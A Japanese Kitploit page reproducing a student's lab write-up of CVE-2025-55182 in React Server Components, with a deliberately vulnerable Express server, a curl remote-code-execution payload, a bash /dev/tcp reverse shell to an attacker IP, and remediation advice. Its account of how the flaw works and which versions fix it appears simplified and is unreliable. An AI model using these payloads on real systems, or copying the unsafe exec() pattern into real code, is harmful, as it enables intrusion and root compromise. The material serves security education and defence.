Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2025-55182-analysis — CVE-2025-55182 (React) のセキュリティリサーチ & エクスプロイト分析 — CVSS + OWASP Top 10 マッピング | Kitploit
ツール/GitHubGitHub/mohamedniane/cve-2025-55182-analysis
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubmohamedniane/cve-2025-55182-analysis

cve-2025-55182-analysis

CVE-2025-55182 (React) のセキュリティリサーチ & エクスプロイト分析 — CVSS + OWASP Top 10 マッピング

リポジトリを見る
14ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-55182 — React Server Components RCE 分析

Web アプリケーション脆弱性分析 · M2 Cybersecurity · 2025 著者: Niane Mohamed · LinkedIn

React Server Components における 緊急 (CVSS 10.0) の安全でない逆直列化 (Insecure Deserialization) 脆弱性について、偵察から認証なしのリモートコード実行までのエンドツーエンドの攻撃チェーンと、完全な修復ロードマップを解説する。


⚠️ 倫理的免責事項

この調査は、CVE を実証するために構築された意図的に脆弱なラボアプリケーションを対象としている。すべてのテストは、本番システム、実在するユーザーデータ、または第三者サービスに一切接続されていない隔離された仮想ネットワーク内で実施された。

  • 所有していない、または明示的な書面によるテスト許可がないシステムに対して、これらの手法を実行しないこと。
  • 脆弱なアプリケーションを、インターネットに到達可能なネットワークに展開しないこと。
  • 責任ある開示の原則が適用される — 常に調整されたチャネルを通じて調査結果を報告すること。

目次

  1. 脆弱性の概要
  2. 影響を受けるバージョン
  3. ラボ環境
  4. 攻撃手順の解説
  5. 影響評価
  6. 修復策
  7. 実証されたスキル

脆弱性の概要

項目値
CVECVE-2025-55182
クラス安全でない逆直列化 → リモートコード実行
CVSS v3.110.0 (緊急) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
必要な認証なし
必要なユーザー操作なし
攻撃ベクトルネットワーク (リモート)
コンポーネントReact Server Components (RSC) ランタイム

脆弱性の仕組み

React Server Components は、サーバー側でレンダリングされたコンポーネントをクライアントにストリーミングするための新しいシリアライズ形式を導入した。脆弱なバージョンでは、RSC エンドポイントが cmd フィールドを含む JSON ペイロードを受け入れ、そのフィールドがサニタイズされずにサーバーサイドレンダリング評価の一部として child_process.exec() に渡される。

攻撃者は、以下のように細工された POST リクエストを送信できる:

  1. 正当な RSC ペイロードとして受け入れられる (認証なし、CSRF なし)
  2. 「レンダリング」中にサーバーサイドのコード実行をトリガーする
  3. Node.js プロセスの権限 (コンテナ内では多くの場合 root) で実行される

影響を受けるバージョン

コンポーネント影響を受ける範囲修正版
react19.0.0 → 19.2.019.3.0+
react-server-dom-webpack19.0.0 → 19.2.019.3.0+
react-server-dom-esm19.0.0 → 19.2.019.3.0+

ラボ環境

役割OSツール
攻撃者Kali Linux (最新版)nmap、curl、netcat、OWASP ZAP、Firefox
ターゲットUbuntu 22.04.4Node.js 18、Express、React 19.0 RSC
ネットワークVMware VMnet Host-Only外部へのインターネット接続なし

ターゲットアプリケーション

/rsc エンドポイントを公開する最小限の Express + RSC サーバー。受信したペイロードからコマンドを安全でない方法で実行し、実際の CVE の脆弱性パターンを管理された環境で再現する:

root@kitploit:~
// server.js — simplified, lab-only
const express = require('express');
const { exec } = require('child_process');

const app = express();
app.use(express.json({ limit: '2mb' }));

app.post('/rsc', (req, res) => {
  const payload = req.body?.payload;
  if (typeof payload?.cmd === 'string') {
    // VULNERABLE: executes attacker-controlled string
    exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
      if (err) return res.status(500).json({ error: String(err), stderr });
      return res.json({ ok: true, out: stdout });
    });
  }
});

app.listen(3000);

攻撃手順の解説

フェーズ 1 — 偵察

root@kitploit:~
# Port discovery
nmap 192.168.159.131
# → 3000/tcp open  ppp  (Node.js RSC server)

# Service verification
curl -v http://192.168.159.131:3000/
# → HTTP/1.1 200 OK
# → X-Powered-By: Express
# → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."

X-Powered-By: Express ヘッダーと通常とは異なるポート 3000 は、これが Node.js アプリケーションであることを示す強力なフィンガープリントであり、RSC デプロイメントと一致する。

フェーズ 2 — 無害なコマンドによる確認

破壊的な行為を試みる前に、無害なコマンドで脆弱性を検証する:

root@kitploit:~
curl -X POST http://192.168.159.131:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{ "payload": { "cmd": "id" } }'

# Response:
# {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}

✅ 確認済み: root として認証なしの RCE が成立。サーバーは制約なしの権限で実行されている。

フェーズ 3 — リバースシェル

単一コマンド実行から完全な対話型シェルへ昇格する:

root@kitploit:~
# Listener on attacker machine
nc -lvnp 4444

# Payload delivery
curl -X POST http://192.168.159.131:3000/rsc \
  -H "Content-Type: application/json" \
  -d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'

リスナーが受信する内容:

root@kitploit:~
connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
root@ns1:~/vulnerable_rsc_app# id
uid=0(root) gid=0(root) groups=0(root)

フェーズ 4 — 侵害後の潜在的な影響 (実証のみ、未実行)

ターゲット上で root を取得した攻撃者は、容易に以下を行うことができる:

  • /etc/shadow、SSH キー、アプリケーションシークレット、.env ファイルの読み取り
  • 永続化 (cron ジョブ、systemd サービス、SSH キーの埋め込み) のインストール
  • 発見した認証情報を用いた水平移動
  • クリプトマイナーやランサムウェアの展開
  • Node.js アプリケーションを改ざんし、ユーザーデータを静かに収集

影響評価

ビジネス影響 (架空のターゲットシナリオ)

軸影響説明
機密性重大サーバー上のすべてのデータへの完全な読み取りアクセス
完全性重大アプリケーションコードとユーザーデータを改ざんできる
可用性高攻撃者はサービスを停止させたり、身代金目的で人質に取ったりできる
規制深刻GDPR/DSGVO 違反、72 時間以内の開示義務・グローバル売上高の最大 4% の制裁金の可能性
評判深刻CVE にマッピングされた公知の侵害により顧客の信頼が損なわれる
財務高インシデント対応、規制制裁金、集団訴訟の可能性

脅威アクターのプロファイル

この攻撃は複雑性が低く、認証もユーザー操作も不要で、単一の HTTP リクエストで成立するため、以下の攻撃者にとって魅力的である:

  • 日和見的なスキャナー (CVE を自動スキャンするボットネット)
  • 初期アクセスブローカー (ランサムウェアグループに足掛かりを販売)
  • 国家支援アクター (React サーバーレンダリングを利用する組織を標的に)

修復策

緊急対応 (24 時間以内)

  1. React を 19.3.0+ にアップグレードする — 修正済みバージョン

    root@kitploit:~
    npm update react react-server-dom-webpack react-server-dom-esm
    
  2. 一時的な WAF ルール (アップグレードが遅れる場合):

    root@kitploit:~
    Block POST requests to /rsc with JSON body containing "cmd" field
    
  3. 緊急インシデント対応:

    • 過去 90 日間のサーバーアクセスログを確認する
    • 通常とは異なる /rsc への POST トラフィックを探す
    • サーバーからアクセス可能なすべてのシークレットをローテーションする
    • 修復前にフォレンジック用に影響を受けたシステムのスナップショットを取得する

短期対応 (2 週間以内)

対策目的
未使用なら RSC を無効化攻撃対象領域を削減 — 多くのアプリはサーバーコンポーネントを必要としない
厳格な入力検証実行可能なキーを含む逆直列化オブジェクトをすべて拒否
非 root コンテナユーザーRCE が再発した場合の爆発半径を限定
読み取り専用ルートファイルシステム永続化とバイナリのドロップを防ぐ
Egress フィルタリングアプリサーバーから任意の IP へのアウトバウンドトラフィックをブロック

長期対応 (四半期内)

対策目的
行動分析付き WAFシグネチャルールを超えた異常な POST ペイロードを検出
RASP (ランタイムアプリケーション自己保護)実行時に exec() などの危険な関数呼び出しをブロック
CI/CD での SCAデプロイ前に脆弱な依存関係を検出 (pip-audit、npm audit、Trivy)
ペネトレーションテストの頻度年次 + メジャーリリース後
バグ報奨金プログラム攻撃者が問題を発見する前にホワイトハットによる開示を促進

OWASP Top 10 マッピング

OWASP カテゴリ関連性
A03:2021 — インジェクション逆直列化された入力によるコマンドインジェクション
A08:2021 — ソフトウェアおよびデータの整合性の障害整合性検証なしの安全でない逆直列化
A06:2021 — 脆弱で旧式のコンポーネント開示後に React 19.0–19.2 を使用
A05:2021 — セキュリティ設定の誤りNode.js を root で実行、入力検証なし

実証されたスキル

  • 脆弱性分析: CVE トリアージ、CVSS スコアリング、悪用可能性の評価
  • 偵察: Nmap スキャン、サービスフィンガープリンティング、バナー取得
  • 悪用: curl による HTTP 操作、リバースシェル構築、ペイロード作成
  • プロキシツール: OWASP ZAP によるインターセプト、リクエスト/レスポンスの改変
  • ビジネスコミュニケーション: 技術的調査結果を経営層向けのリスク言語に変換
  • 修復設計: 緊急/短期/長期にわたる多層防御
  • フレームワーク: OWASP Top 10、CVSS v3.1、CWE 分類、GDPR/DSGVO 影響評価

参考文献

  • CVE-2025-55182 — NVD エントリ (プレースホルダー — 引用前に確認すること)
  • React Server Components ドキュメント
  • OWASP Top 10 — 2021
  • CVSS v3.1 仕様書
  • CWE-502 — 信頼されないデータの逆直列化

ライセンス

MIT ライセンス — LICENSE を参照

教育および防御的研究目的で公開。冒頭の倫理的免責事項を参照のこと。


連絡先

Niane Mohamed — ネットワーク & セキュリティエンジニア 📍 ヌアクショット、モーリタニア → ドイツでの機会を求職中 🇩🇪 📧 [email protected] · 🔗 LinkedIn

ツールをダウンロード